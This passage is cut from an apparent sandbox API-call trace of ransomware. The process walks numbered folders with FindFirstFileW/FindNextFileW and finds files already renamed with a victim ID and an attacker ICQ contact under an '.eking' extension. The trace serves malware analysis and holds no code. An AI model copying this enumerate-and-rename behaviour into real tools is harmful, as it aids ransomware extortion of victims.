ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.726] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c225b0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c225b0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c66931, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4c62, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.726] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.727] GetProcessHeap () returned 0xc10000 [0212.727] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.727] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1044", cAlternateFileName="")) returned 1 [0212.727] GetProcessHeap () returned 0xc10000 [0212.727] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.729] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.729] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c406f9, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c406f9, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5f98f09, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xce2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.729] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5c8cba0, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5c8cba0, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5c8cba0, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x136d2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.729] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.729] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.729] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.730] GetProcessHeap () returned 0xc10000 [0212.730] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.730] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1045", cAlternateFileName="")) returned 1 [0212.730] GetProcessHeap () returned 0xc10000 [0212.730] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.730] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.732] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.732] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f98f09, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5f98f09, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fc5d98, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.732] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fc5d98, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fc5d98, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.732] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.732] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.732] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.733] GetProcessHeap () returned 0xc10000 [0212.733] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.733] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1046", cAlternateFileName="")) returned 1 [0212.733] GetProcessHeap () returned 0xc10000 [0212.733] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.734] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.735] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc600ba3b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.735] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc600ba3b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc600ba3b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6031a32, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.735] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.735] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.735] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.736] GetProcessHeap () returned 0xc10000 [0212.736] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.736] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1049", cAlternateFileName="")) returned 1 [0212.736] GetProcessHeap () returned 0xc10000 [0212.737] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.738] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.738] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6293e9b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6293e9b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.738] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62ba110, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62ba110, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.738] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.738] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.738] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.739] GetProcessHeap () returned 0xc10000 [0212.739] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.739] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1053", cAlternateFileName="")) returned 1 [0212.740] GetProcessHeap () returned 0xc10000 [0212.740] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.839] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.839] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6306685, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6306685, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc632c942, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0x0, dwReserved1=0x606, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.839] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6352a6d, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0x0, dwReserved1=0x606, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.839] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.840] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0x0, dwReserved1=0x606, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.840] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.840] GetProcessHeap () returned 0xc10000 [0212.840] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0212.840] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="1055", cAlternateFileName="")) returned 1 [0212.840] GetProcessHeap () returned 0xc10000 [0212.840] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.840] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.845] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0212.845] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6352a6d, 